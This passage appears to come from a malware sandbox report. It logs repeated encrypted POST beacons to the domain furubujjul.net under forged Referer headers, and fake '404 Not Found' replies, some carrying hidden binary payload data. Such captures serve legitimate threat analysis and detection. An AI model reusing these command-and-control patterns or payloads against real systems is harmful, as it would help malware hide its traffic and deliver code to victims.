d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 df 92 f2 f9 7a 8f f6 6b e3 40 dd d9 37 00 20 e0 1c c9 20 f5 52 48 be 39 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 58 58 07 6b ab f6 ae 25 2e e3 86 ce ec 35 28 c0 a7 0d ba ca d4 5f 53 40 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 81 c4 Data Ascii: 7d57`;@0,xO}q4 SJ%9Wd8IkDJ8P>0%y^\Q25GH;lb]o8mWs6(pC6/'%{IyShGjT05sq733hsE\|WD<P5Q"f=(jC\SMUdT[Up"XJ3Ob>!Z:V?#BSSR+{~E(U1$O~PTb~zeM<j%a>\|HoJ{/a@IF0l3l+\|~qhJO+yLuVW)#e1yr+Lc?'^3FHU=hU@Wd{9f(B@w=fd0QpKk^NTUo)qgT.WLIXh),^[}T)ty nC:y+z(Fzk@7 RH9M?~MpXXk%.5(_S@CUb:@
Oct 3, 2022 17:34:52.231606960 CEST	1740	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://itraykmwbj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 200 Host: furubujjul.net
Oct 3, 2022 17:34:52.231664896 CEST	1740	OUT	Data Raw: 48 9d fb c4 3a 12 53 20 5c 70 53 27 79 dd 56 ce 5e 6c ec 65 8c 1d dc d9 b6 1e a5 86 03 f5 a4 e5 ff ac f8 c3 7c 45 93 c4 a7 54 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 bb 8a 14 62 cc d6 4f 96 83 fd 22 ce Data Ascii: H:S \pS'yV^le\|ETjp_S61oJf=B!bO"}oKRjNo;K#f~\l6%MrJBv5w-s\4iB"q"y4n/
Oct 3, 2022 17:34:52.343344927 CEST	1741	IN	HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2022 15:34:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5s0zTVwEZQ%2BxrnJWHZ9tdU0oOSOsDblxQqncU6kasaqVpYFijT4CRf5tcLW95NIAQzdUve%2FiSK163Yqq1RFf7YA2xI2lIRYy7VzkURKlOuImsgPYj8ImT2%2FowmMoEZAOUw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7546be908beb0676-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 3, 2022 17:34:52.360253096 CEST	1742	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hrnurk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 336 Host: furubujjul.net
Oct 3, 2022 17:34:52.360308886 CEST	1742	OUT	Data Raw: 48 9d fb c4 3a 12 53 20 5c 70 53 27 79 dd 56 ce 5e 6c ec 65 8c 1d dc d9 b6 1e a5 86 03 f5 a4 e5 ff ac f8 c3 7c 45 93 c4 a7 54 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 b8 8a 14 62 cd d6 4f 96 f7 c3 07 dc Data Ascii: H:S \pS'yV^le\|ETjp_S61oJf=B!bOqvqLF{;9~e`\e^ h7RTIMvm4A\|F,*Ikul`O qp3PD=pcl&+0o\qi
Oct 3, 2022 17:34:52.456599951 CEST	1743	IN	HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2022 15:34:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=cRcAWZSBQtyCBSDGvPM7a2SJMsQXc3r3OPHzfakaYg%2BmcagnwmnybR1RyTY8BrpITO9DLotd8rMxqMpOcYrbwHECv3cov5QZtsWIVCxQzxKwdMNstj7heaSB1qluzcGQdg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7546be915d100676-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 3, 2022 17:34:52.465140104 CEST	1744	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ycrqve.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 304 Host: furubujjul.net
Oct 3, 2022 17:34:52.465198994 CEST	1744	OUT	Data Raw: 48 9d fb c4 3a 12 53 20 5c 70 53 27 79 dd 56 ce 5e 6c ec 65 8c 1d dc d9 b6 1e a5 86 03 f5 a4 e5 ff ac f8 c3 7c 45 93 c4 a7 54 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 b9 8a 14 62 cd d6 4f 96 8f be 3e ab Data Ascii: H:S \pS'yV^le\|ETjp_S61oJf=B!bO>PIti8qcC 1IoN:\|7x) *4%5%x9A'c_@,7~nIlO@9gMa'[ r7,3f,b.
Oct 3, 2022 17:34:52.570056915 CEST	1745	IN	HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2022 15:34:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Iroc%2FNBgZmP4ZQ9lMPeleBKiJHkOKRk8KBsjnpr0c2RRqTjrd%2B9fFtktpg9g2RP9e898uVJAFNh%2FcxRzugBls2GWTB5LRr4yNMD7dp%2FS%2BSayie9eJ6Gx824qWjBCWqAbBw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7546be91fe180676-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 37 64 36 35 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 c5 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 59 87 a0 59 40 18 b6 30 ec 48 4d fc 30 db 91 3f ab 49 32 1e ca e5 7c 36 38 fd ae bd 5b 2b 97 ff 30 b2 ac 89 bd 03 f3 88 4b f4 1b f0 14 29 f5 32 d0 6c 99 b3 f8 7a 99 e4 f2 c9 5a 11 11 a2 7f 8f c9 12 66 6a 0a ea e9 99 36 f8 37 33 3b 49 bd 1c ed 05 70 b1 17 22 58 4a 63 0a 62 3e 59 20 08 5a 9a 96 83 5b 56 3f cb 00 23 be 42 15 37 07 50 52 f1 ca 16 9e 1d d5 52 2b e5 df 9c 7b 7e 45 f7 ff 8f c6 55 db c4 1d 13 13 bf ee e1 92 24 08 0f c5 03 b1 cb a1 61 7c de f5 6c b9 19 17 7e 5f af 9a a0 44 c9 a0 c1 b9 dd 7a 0d b0 6e 19 e0 28 95 a9 1e 1c fe 96 bc 25 51 e0 9a d4 2e 7c 88 38 c8 48 6b a1 d0 4a 9a 13 fd ec 9e aa 7b ac 97 2f bd 61 0d c0 5d bf 46 34 fd f8 ee 8c 33 6c 79 7c 0a 8d c7 2d fb 0e 14 a0 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 47 29 2a b9 6e ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 9f 1d 3c 27 94 69 b7 9f 33 c9 cc 46 d9 48 15 ac af fb d9 55 e5 ae ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b aa 93 58 1e 85 8a 64 b1 eb eb 12 51 8c 60 17 4b 81 b7 df 8e 82 05 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 4f c3 cb 49 1c 4c 86 2f 7f 54 ab 1e 9a a6 0f ee c3 3e 57 a3 4c 29 8c 1f d4 bc 68 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 e6 7d 10 5f 3e cb aa c2 fa 07 99 8a 7d af 7f 74 79 80 72 43 cc f5 8b 8b e1 76 70 d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 5f d0 a1 aa 7a 8f f6 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 Data Ascii: 7d65`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGYY@0HM0?I2\|68[+0K)2lzZfj673;Ip"XJcb>Y Z[V?#B7PRR+{~EU$a\|l~_Dzn(%Q.\|8HkJ{/a]F43ly\|-~qhJO;yLuVG)n#u1yr+Lc<'i3FHUhU@Wd{9f(B@wXdQ`K^NTUOIL/T>WL)h),^[}_>}tyrCvp+z(F_zk7 RH:M?~Mpvn%.5_)CCUb:@
Oct 3, 2022 17:34:53.394092083 CEST	2453	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://emgsptlj.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 296 Host: furubujjul.net
Oct 3, 2022 17:34:53.394335032 CEST	2453	OUT	Data Raw: 48 9d fb c4 3a 12 53 20 5c 70 53 27 79 dd 56 ce 5e 6c ec 65 8c 1d dc d9 b6 1e a5 86 03 f5 a4 e5 ff ac f8 c3 7c 45 93 c4 a7 54 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 b9 8a 14 62 cc d6 4f 96 bd d3 5b f1 Data Ascii: H:S \pS'yV^le\|ETjp_S61oJf=B!bO[4o'8I@BN\wyQ+whQyr/]Y!Yq%Pb^91>7{B@&84CR>2_ZO0+*[8
Oct 3, 2022 17:34:53.491580963 CEST	2454	IN	HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2022 15:34:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FJ00tD5gPz05saCE%2B0HayHbciB2NTl%2FCPoVVYse%2BrNKSUf6t3CnHNRpQ4dqD2P2odEwGit34gFmOgp%2BwfSkBNACWfGClCvC%2FzGXTUE6oRcGdliRGUM2CPc%2BxeV5wC7lo8Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7546be97ce6e0676-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 3, 2022 17:34:53.533447981 CEST	2455	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://cuxke.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 148 Host: furubujjul.net
Oct 3, 2022 17:34:53.533500910 CEST	2455	OUT	Data Raw: 48 9d fb c4 3a 12 53 20 5c 70 53 27 79 dd 56 ce 5e 6c ec 65 8c 1d dc d9 b6 1e a5 86 03 f5 a4 e5 ff ac f8 c3 7c 45 93 c4 a7 54 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 be 8a 14 62 cd d6 4f 96 96 a9 2c f7 Data Ascii: H:S \pS'yV^le\|ETjp_S61oJf=B!bO,6s04)@,>3fCDH7N;
Oct 3, 2022 17:34:53.629388094 CEST	2456	IN	HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2022 15:34:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mzcsj7KJAjRo%2F8CALzaBVYVjt1zUMfNARzHszABeOyvXAKkXU0hERxva3%2F23kvckuSSmpj3ZSrMlt8oBId3Tb%2FI3UzZNILe0p2Ejz%2FKUDFn29kXrUqUPRIrc0iDzeeOHpA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7546be98afa60676-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 147<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Oct 3, 2022 17:34:53.683655977 CEST	2456	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://sgmgrm.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 128 Host: furubujjul.net
Oct 3, 2022 17:34:53.683729887 CEST	2457	OUT	Data Raw: 48 9d fb c4 3a 12 53 20 5c 70 53 27 79 dd 56 ce 5e 6c ec 65 8c 1d dc d9 b6 1e a5 86 03 f5 a4 e5 ff ac f8 c3 7c 45 93 c4 a7 54 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bf 8a 14 62 cd d6 4f 96 94 b3 0f ae Data Ascii: H:S \pS'yV^le\|ETjp_S61oJf=B!bOyiP XBF3nkT$?
Oct 3, 2022 17:34:53.802825928 CEST	2458	IN	HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2022 15:34:53 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gQjUQNnYQ6fj9%2BQnPK1JiwhKlScOlDNe4bba7d8QBURv8ezrenmukJE16z9hk4J9CeMKnoX4Q%2FMhooferiAHjcYrpmoXvPvxumStpDE4%2B2GAMMZe0TCwX%2FCGcN783EZ7iQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7546be9998fc0676-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 37 61 32 63 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 9d 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8b bf 6a c6 ca 05 02 fc 6a 82 d3 53 f6 bf 23 f3 79 5c 03 d2 ff f9 df fb eb b2 8b 6f cd 51 3f 33 d1 f2 61 45 7c 0f 57 44 2d fc be 3c 50 25 51 fe 08 a2 b5 7f 18 66 7d 28 2a 97 6a dd d6 bc db 43 15 5c 53 a6 cc f6 4d 55 60 91 54 5b fd 55 19 d0 ed 35 67 b1 17 26 58 4a 9b 6c 4a 3e 16 21 0b 5a a3 06 b3 3a 56 2f cb 00 23 be 52 15 d7 17 53 53 fa cb 1f 9e 0d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 78 5d 47 db 9c 01 13 13 bf 1e e1 92 24 08 4f c5 03 a1 cb a1 61 7e de f5 69 b9 19 17 7e 5f af 9a a5 44 c9 a0 c1 b9 dd 7a 0d 90 4e 19 e0 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 93 ce ce 4a 82 03 fd ec 9e aa 7b ac 87 2f bd 61 0d c0 5d bf 46 34 fd f8 22 be 21 6c c9 7d 0a 8d c7 fd e4 0e a4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae b2 e3 67 34 01 56 ad f3 1f 5f 26 b9 72 fe cc 23 b2 13 02 31 79 96 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 03 11 eb b6 81 55 5d 53 b5 69 b7 9f 0f de cd 46 d9 c8 19 ac af f3 d8 55 3d c5 b6 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 26 e7 cc c4 06 f6 26 21 03 fa c7 9b 64 d2 3c 66 f1 2a 69 b1 1d 06 13 51 8c f2 1a 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 0e a1 34 15 8a ba b7 1b 6f c3 cb 29 22 fb e4 5b 1e b4 a5 1e 26 a9 12 ee c3 76 59 a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 6c 5e 9e 43 75 87 6c 97 a6 7d 10 9f 10 b6 d9 b0 99 c7 8b 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 ab a9 d4 7b 2f 13 73 49 a6 cf 46 1f 88 ad aa 7a 8f 26 79 e3 cd de d9 37 00 0c f1 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 7f dc d5 be 63 e5 22 80 03 eb ac 98 42 6e 0f ca 82 2f 37 2e 9f 94 ce ec 35 02 d1 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 58 3a 2d 38 6e de c2 fb c1 c4 a1 33 Data Ascii: 7a2c`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGjjS#y\oQ?3aE\|WD-<P%Qf}(jC\SMU`T[U5g&XJlJ>!Z:V/#RSSR+{~Ex]G$Oa~i~_DzN,%Qa>\|(HJ{/a]F4"!l}~qhJO;yg4V_&r#1yr+LU]SiFU=hU@Wd{9&&!d<f*iQKk^4o)"[&vYL\h)l^Cul}tyPmCbz{/sIFz&y7 RH:Mc"Bn/7.5_)CCUbX:-8n3
Oct 3, 2022 17:34:55.926707029 CEST	5190	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://qxeovi.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 364 Host: furubujjul.net
Oct 3, 2022 17:34:55.926810980 CEST	5190	OUT	Data Raw: 48 9d fb c4 3a 12 53 20 5c 70 53 27 79 dd 56 ce 5e 6c ec 65 8c 1d dc d9 b6 1e a5 86 03 f5 a4 e5 ff ac f8 c3 7c 45 93 c4 a7 54 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a3 19 bf 8a 14 62 cc d6 4f 96 fc e7 38 ea Data Ascii: H:S \pS'yV^le\|ETjp_S61oJf=B!bO8>53tyU5Pn4Z>!p<O8s=/ ;_DTnLz)"!\Tz)pi :VNPb9PWUX#90+~.
Oct 3, 2022 17:34:56.026063919 CEST	5191	IN	HTTP/1.1 404 Not Found Date: Mon, 03 Oct 2022 15:34:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2F%2FvJ%2B2Y79g%2Bkg6zS6Mq1gveBdXksI9rs7yAelvoIBOh6riY30Gpod8CWslC%2B6nO8Vj3yY1VHW2kQ0uw6w7QGS9YnSN55wqOhVHiyM84RUcZ8wVcoSoFc5JIjPlJIIJKxgA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7546bea79f830676-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 34 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 